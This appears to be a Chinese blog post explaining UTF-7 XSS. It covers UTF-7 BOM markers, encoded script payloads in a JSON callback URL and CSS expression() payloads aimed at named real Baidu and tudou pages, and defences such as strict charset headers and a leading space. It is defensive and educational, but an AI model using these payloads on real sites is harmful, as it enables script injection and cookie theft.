`
yinwufeng
  • 浏览: 287116 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

utf-7 xss

 
阅读更多

utf-7 xss

  ----------------------------------------- UTF-7 XSS Paper ----------------------------------------- ***************** 

0x01. UTF-7是什么 

************************************************** *************************************************** ******************* 

UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF))是一种可变长度字符编码方式, 

用以将 Unicode 字符以 ASCII 编码的字符串来呈现,可以应用在电子邮件传输之类的应用。 

Wiki-URL: http://zh.wikipedia.org/zh-cn/UTF-7 

<1> 可以通过设置 @charset=utf-7 设定为 utf-7编码 

<2> 可以通过在正文开头设置 utf-7 bom 设定为 utf-7编码 

utf-7 bom 目前知道的有4个 

+/v8 | +/v9 | +/v+ | +/v/ 

************************************************** *************************************************** ******************* 

********************** 

0x02. 可以针对哪些目标 

************************************************** *************************************************** ******************* 

utf-7 相对于其他字符集有什么特点呢? 

<1> 以 ASCII可显示字符 来编码的,这点在逃过过滤检测非常有用 

<2> 有 bom 这个东东,其他一些字符集没有,大大地提高了利用的几率 

utf-7 可以攻击的目标 

<1> http response 设置不严格的,比如设置 Content-Type: text/html 

<2> 字符集没有专门指定的,是模糊的 

<3> 标签之前有机会设置字符集的 

用 utf-7 来攻击的步骤 

<1> 通过各种手段先夺取到utf-7字符集的优先权,使utf-7编码能被解码 

常见手段有 

在正文开始设置bom标记 

在之前设置字符集 

遇到默认字符集(没专门指定字符集)的网页通过编码格式争夺 

<2> 因为utf-7编码特点,可以逃过绝大部分过滤检测,再配合常规的XSS手法 

最简单的就是可以把 '<' 和 '>' 编码掉,而绝大部分的网站也只是简简单单地对这两个符号进行转移或过滤 

************************************************** *************************************************** ******************* 

************************ 

0x03. 怎样利用demo或说明 

************************************************** *************************************************** ******************* 

Reflected XSS: 

[Json utf-7 xss] 

<格式> http://xx/..callback=[utf-7头][utf-7数据流]... 

黑哥挖的一个tudou的json callback 

http://www.tudou.com/my/channel/item.srv?icode=enQ CgQKJTDs&callback=%2B%2Fv8 

%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkA cAB0AD4AYQBsAGUAcgB0ACg 

AMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAP gA8AC8AaAB0AG0APg-%20xsadas 

[utf-7头] -> %2B%2Fv8 (+/v8) 

[utf-7数据流] -> %2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB 0AD4AYQBsAGUAcgB0ACgAMQApADsAP 

AAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB 0AG0APg- 

[utf-7数据解码后] -> 

Stored XSS: 

[baidu自定义css utf-7 css] 

<格式> css正文开始必须为[utf-7头],[utf-7数据流]可在[utf-7头]后正文的任意位置 

黑哥blog里css的utf-7 xss 

http://hitn.bdimg.com/hi_heige/css/item/ee0 92fa60.css 

css正文的内容: 

-------------------------------------------------- ------------------ 

+/v8 

#phx{FILTER: Alpha(Opacity=100, FinishOpacity=10, Style=2, StartX=20, StartY=40, FinishX=0, FinishY=0)gray(); WIDTH: 220px; 

HEIGHT: 32px} 

... 

body{background:#FFFFFF;font- family:'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpA G8AbgAoACgAdwBpAG4AZABvAHcALgByAHIAcgA9AD0AMQAp AD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZQB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASA BhAHAAcAB5ACAATgBl AHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGkAbwAuAC 8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgBhAG0Aa QBsAHkAOgAnA-';} 

... 

-------------------------------------------------- ------------------ 

[utf-7头] -> %2B%2Fv8 (+/v8) 

[utf-7数据流] -> +AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoA CgAdwBpAG4AZABvAHcALgByAHIAcgA9AD 

0AMQApAD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZ QB2AGEAbAAoAGEAbABlAHIAdAAoAC8ASABhAHAAcAB5A 

CAATgBlAHcAIABZAGUAYQByACEAIAB0AGgAeAAgAG0AYQByAGk AbwAuAC8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgB 

hAG0AaQBsAHkAOgAnA- 

[utf-7数据解码后] -> x';xss:expression((window.rrr==1)?'':eval('rrr=1;e val(alert(/Happy New Year! thx mario./));'));font-family:' 

************************************************** *************************************************** ******************* 

******************** 

0x04. 有哪些修复方法 

************************************************** *************************************************** ******************* 

要防御 utf-7 xss,只需要防止utf-7字符集被识别就行 

utf-7 能使用主要通过两种方式 

<1> 设置字符集为 utf-7 

<2> 在文本开头设置 utf-7 bom 

看看上文 utf-7 可以攻击的目标 

<1> http response 设置不严格的,比如设置 Content-Type: text/html 

<2> 字符集没有专门指定的 

<3> 标签之前有机会设置字符集的 

再反推防御 

<1> http response 严格设置,比如 json 的一定要设置为 Content-Type: "json",不然会被 callback 攻击 

<2> 字符集在开发阶段就指定好,避免被抢夺优先权。 

如果不能先设置好字符集的(比如css)把正文开始插入一个 space 或 \n,让 utf-7 bom 失效 

<3> 不要让标签之前有机会设置字符集的 

demo: 

<1> 比如像存储类www.webyuanma.com的数据,应该在做了jsp过滤净化的基础上,防止出现 utf-7 bom 

就像 baidu在自定义css 的第一个位置强制插入一个 space 

为了不破坏用户所想要表达的数据之类,在第一个位置插入一个 space 或 \n 都可以 

<2> 像json被攻击的格式,在正文处也可以这样处理 

http://apps.hi.baidu.com/dashan/data/status?asyn=1 &callback=[utf-7头][utf-7数据流]...... 

对于 json 的场景,还需要设置 header: Content-Type: "json" (格式貌似不对,表示那么个意思就是) 

或者在正文的asp.net第一个位置插入一个 space或 \n 

************************************************** *************************************************** ******************* 

想到大部分人都比较懒~ 不想自己去搜 

就给一些很不错的参考资料链接吧~ 

http://openmya.hacker.jp/hasegawa/public// s6/h6.html?file=datae.txt (按方向键左右操作) 

http://openmya.hacker.jp/hasegawa/security/utf7cs. html 

http://secdocs.lonerunners.net/documents/details/2 056-xss-lightsabre-techniques-using-hackvertor 

明天又要纠结 javasnoop 鸟= =~ 雅蠛蝶~ 

-------------------------------------------------- ------实验-------------------------------------------------- ------------------------------------------- 再访问 发现xss没反应 

仔细看了下 原来被 强制在第一个位置插入了一个空格 破坏了 

度娘把我的 utf-7 bom 赤裸裸地给ons了~ 

雅蠛蝶呀~ 

我还想玩玩呢~ 居然就被补鸟~ T_T~ 泪奔呀~ 

-------------------------------------------------- ----------------------------- 

收集了一些 utf-7 bom 

大家拿去玩吧 =.=~ 

hackvertor 给的也只有这4个 

+/v8 +/v9 +/v+ +/v/ 

原文 

UTF-7 Kung fu lesson continued 

·Multiple BOM characters allow UTF-7 to be executed 

·BOM character has to be first character 

·Not that useful but still interesting 

·%2B%2F%76%38 

·%2B%2F%76%39 

·%2B%2F%76%2b 

·%2B%2F%76%2f 

-------------------------------------------------- ----------------------------- 

黑哥(5up3rh3i) 也给了个 utf-7 reflected xss 的例子 

在IE下测试成功 

http://www.tudou.com/my/channel/item.srv?icode=enQ CgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGI AbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQ ApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8A C8AaAB0AG0APg-%20xsadas 

更多例子: 



+/v8 

body { 

font-family: 

'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAo AGEAbA 

BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5 ADoAJw-'; 



+/v8 

body { 

font-family:"+AHgAIgA7AHgAcwBzADoAZQB4AHAAcgBlAHMA cwBpAG8AbgAoACgAdwBpAG4AZABvAHcALgB4AG8AeAA9AD0AMQA pAD8AJwAnADoAZQB2AGEAbAAoACIAeABvAHgAPQAxADsAZQB2AG EAbAAoAGEAbABlAHIAdAAoAC8AWABTAFMAIQAvACkAKQA7ACIAK QApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAI-"; 



//x";xss:expression((window.xox==1)?'':eval("xox=1 ;eval(alert(/XSS!/));"));font-family:" 

//x";xss:expression((window.xox==1)?'':eval("xox=1 ;document.write('');"));font-family:" 

继续更多: 

摘自我的博客[url]http://hi.baidu.com/thanks4sec/home[/url] 

想看UTF-7XSS效果的同学请用ie访问[url]http://hi.baidu.com/hi_heige/blog[/url] 

-------------------------------------- 

大概是由heige牵头,导致UTF-7 XSS最近满火的,好多大侠也都在博客里撰文探讨 

最喜欢奇技淫巧了,倒腾了一翻,忍不住写点东西出来 

不对的地方请指正 

UTF-7是什么 

UTF-7 (7-位元 Unicode 转换格式(Unicode Transformation Format,简写成 UTF)) 是一种可变长度字元编码方式,用以将 Unicode 字元以 ASCII 编码的字元串来呈现,可以应用在电子邮件传输之类的应用。 

举个例子: 

编码后就成了 

+ADw-script+AD4-alert(document.cookie)+ADw-/script +AD4- 

原理阐述 

由于标签没有指定明确的charset,导致浏览器将编码以utf-7解析,从而形成XSS 

比如一个回应包如下: 

HTTP/1.1 200 OK 

Content-Type: text/html.... ... 

我们看到,http头里并没有指定charset,那么浏览器会将包内容以何种编码形式解析呢? 

OK,UTF-7 XSS的利用就在这里了 

linx在博客里也讲了,归根结底,这个问题还出在IE处理meta steam的编码策略上 

利用方法 

PS.针对utf-7微软之前已经对ie打过补丁了,所以以下的利用未必成功,仅供参考学习之用 

情况1. 

如: 


< /title> 

< meta http-equiv="content-type" content="text/html; charset=utf-8"> 

在meta charset之前插入语句,使得charset成utf-7 ( 在IE8下测试不成功) 

情况3 

如: 



< head> 

< meta http-equiv="content-type" content="text/html> 

< /head> 

< body> 

< iframe src="http://target.example.com/NOTFOUND/%2BACIAPgA 8-script%2BAD4-alert%28document.location%29%2BADw-% 2Fscript%2BAD4APAAi-"> 

< /body> 

< /html> 

页面默认不以utf-7解析。通过在iframe中包含utf-7的语句,使得其解析成utf-7 

情况4 

如: 

[url]http://www.tudou.com/my/channel/item.srv?icod e=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APg A8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0A CgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkA PgA8AC8AaAB0AG0APg-%20xsadas[/url] 

[url]http://apps.hi.baidu.com/dashan/data/status?a syn=1&callback=[/url]【utf-7头】【utf-7数据流】......

json,这个很多了 

情况5 

· UTF-7 BOM character can force UTF-7 in a external style sheet 

· Would you let me upload a style sheet? 

· @charset UTF-7; works 

· But you dont need it 

· +/v8 is all you need 

+/v8 

body { 

font-family: 

'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAo AGEAbA 

BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5 ADoAJw-'; 



CSS utf-7 XSS:在css里头通过+/v8(这里的原理还是之前说的,控制文件的开头的几个字节)控制编码成utf-7,heige在百度空间里用的就是这招

 

分享到:
评论

相关推荐

    UTF-7 编码解码工具

    UTF-7,编码解码工具,可直接用于跨站脚本攻击xss

    UTF7 编码及解码工具

    UTF7编码是一种Unicode字符集的变种编码方式,全称为"UTF-7: Unicode Transformation Format – 7-bit"。在1992年由IBM的Doug Ewell提出,初衷是为了适应那些只能处理7位ASCII字符的通信协议,如电子邮件系统。UTF7...

    百度编辑器ueditor(UTF-8).rar

    - 在使用ueditor时,需要关注XSS攻击和CSRF攻击的风险,确保后端对输入内容进行过滤和验证,防止恶意代码注入。 7. **安装与配置ueditor**: - 下载并解压“百度编辑器ueditor(UTF-8).rar”后,将相关文件上传...

    ueditor-1.4.3.3 jsp版本源码(UTF-8)

    在使用ueditor时,需要注意XSS、CSRF等安全问题。源码中已经对用户输入做了基本的过滤,但实际部署时,仍需根据项目需求进行额外的安全加固。 7. **集成到Java Web项目** 将ueditor集成到JSP项目中,通常需要在...

    discuz 3.2 utf-8

    3.2在安全方面进行了大量优化,包括SQL注入防护、XSS攻击防御等,确保论坛的数据安全。 3. 界面优化:采用新的UI设计,提供更佳的视觉效果和用户体验,同时保持了良好的易用性。 4. 功能升级:新增和改进了多项功能...

    (支持UTF-8)---- jspSmartUpload.jar

    为了确保文件上传的安全性,`jspSmartUpload.jar`还提供了防止跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的措施。开发者可以通过配置来验证上传请求的来源和内容,防止恶意攻击。 总的来说,`jspSmartUpload.jar`...

    ecshop-QQ微博淘宝支付宝--四合一有后台版-UTF-8

    5. **安全性**:集成第三方服务的同时,需要关注数据安全和隐私保护,如正确处理用户敏感信息,防止SQL注入、XSS攻击等网络安全问题。 6. **性能优化**:对于电商平台,性能优化至关重要,包括页面加载速度、数据库...

    DEDE 5.7改进版utf-8

    4. **安全增强**:考虑到UTF-8编码可能存在的XSS和SQL注入攻击风险,改进版可能会增强对这些攻击的防御机制,比如过滤非法字符和强化SQL预编译。 5. **插件与模块兼容**:原有的UTF-8插件和模块可能在新版本中得到...

    jsp上传组件smartUpload_utf-8_jar包,解决utf-8编码的乱码问题

    7. **反馈信息**:使用UTF-8编码展示上传结果,确保信息正确显示。 通过上述步骤,结合`SmartUpload_utf-8.jar`,开发者可以构建一个健壮且对UTF-8编码友好的文件上传系统。在实际开发中,还需要注意兼容不同浏览器...

    ueditor1.4.3jsp utf-8版配置使用教程

    例如,限制上传文件类型、大小,防止XSS攻击,以及对上传的文件进行重命名,避免路径遍历攻击。 通过以上步骤,你应该能够成功配置并使用ueditor1.4.3 jsp utf-8版。在实际应用中,你可能需要根据具体需求进行更多...

    utf-8版本ewebeditor,值得下载

    4. **安全性高**:EWebEditor具备良好的安全防护机制,可以有效防止XSS攻击,保护用户的数据安全。 5. **定制化强**:开发者可以根据自身需求对EWebEditor进行二次开发,调整样式、添加插件或扩展功能,以满足特定...

    UEditor1_4_3_3-utf8-jsp(UAP2.8版适用) 富文本编辑器

    UEditor1_4_3_3-utf8-jsp 是一个专为UAP2.8版设计的富文本编辑器,它集成了UTF-8编码,以确保在处理多语言内容时的正确显示。...同时,为了保证安全性,还需要考虑如防止XSS攻击、CSRF攻击等Web应用的安全问题。

    基于PHP的CMSSP4utf-8正式版源码.zip

    开发者需要检查代码中可能的安全漏洞,如SQL注入、XSS攻击等,并确保系统定期更新以修补潜在的安全风险。 通过深入研究CMSSP4utf-8的源码,不仅可以提升PHP编程技能,还可以了解到CMS系统设计的最佳实践,这对于...

    论坛社区PHPWind Forums 7.5 RC UTF-8-phpwind-utf8-7.5rc.zip

    同时,考虑到安全问题,PHPWind在7.5 RC版本中强化了SQL注入防护和XSS跨站脚本攻击的防御,提升了系统的安全性。 另外,PHPWind 7.5 RC 支持插件系统,开发者可以通过编写插件来实现自定义功能,这大大增强了论坛的...

    ecshop-ueditor1.3.6-UTF-8.rar

    5. **安全考虑**:UEditor具有上传功能,需要注意安全问题,比如防止XSS攻击和文件上传漏洞。因此,应确保ECSHOP服务器的安全设置得当,例如限制上传文件类型、设置合理的文件名规则等。 通过以上步骤,ECSHOP的...

    [图片动画]PHP美女写真 CMS 1.251 UTF-8版_piccms_utf-8.zip

    系统应包含防止SQL注入、XSS攻击的安全措施,并定期更新以修补可能的漏洞。 10. **插件和扩展** 良好的CMS会提供插件或模块化架构,允许用户根据需要添加额外的功能,如社交媒体分享、评论系统、广告管理等。 11....

    百度编辑器ueditor1.2.4.0 .Net 版本UTF-8版

    7. **代码高亮**:对于程序员或技术类网站,ueditor提供了代码高亮功能,使得代码展示更清晰,阅读体验更佳。 8. **响应式设计**:ueditor具有良好的响应式布局,能在不同设备上呈现良好的视觉效果,适应移动互联网...

    ASPCMS UTF-8版

    7. 插件和模块扩展:可能支持第三方插件和模块的安装,以增强系统的功能,如论坛、博客、购物车等。 8. 安全性:考虑到ASP的安全问题,ASPCMS可能会提供一些安全措施,如SQL注入防护、XSS攻击防范等。 9. 兼容性:...

    PHP实例开发源码—留言帖吧 utf-8.zip

    7. 安全性:防止SQL注入和跨站脚本攻击(XSS),通过预处理语句、参数绑定和对用户输入进行转义或过滤,确保系统的安全性。 而UTF-8编码是Unicode的一个变体,能够表示世界上几乎所有的字符,包括中文、英文、日文...

    ueditor1_4_3_3-utf8-php

    - 安全性:由于 UEditor 允许用户输入HTML代码,需防止XSS攻击,对用户输入的数据进行过滤和转义。 - 性能优化:合理设置图片、文件的上传限制,避免过大文件导致服务器压力。 - 兼容性:测试不同浏览器和设备下的...

Global site tag (gtag.js) - Google Analytics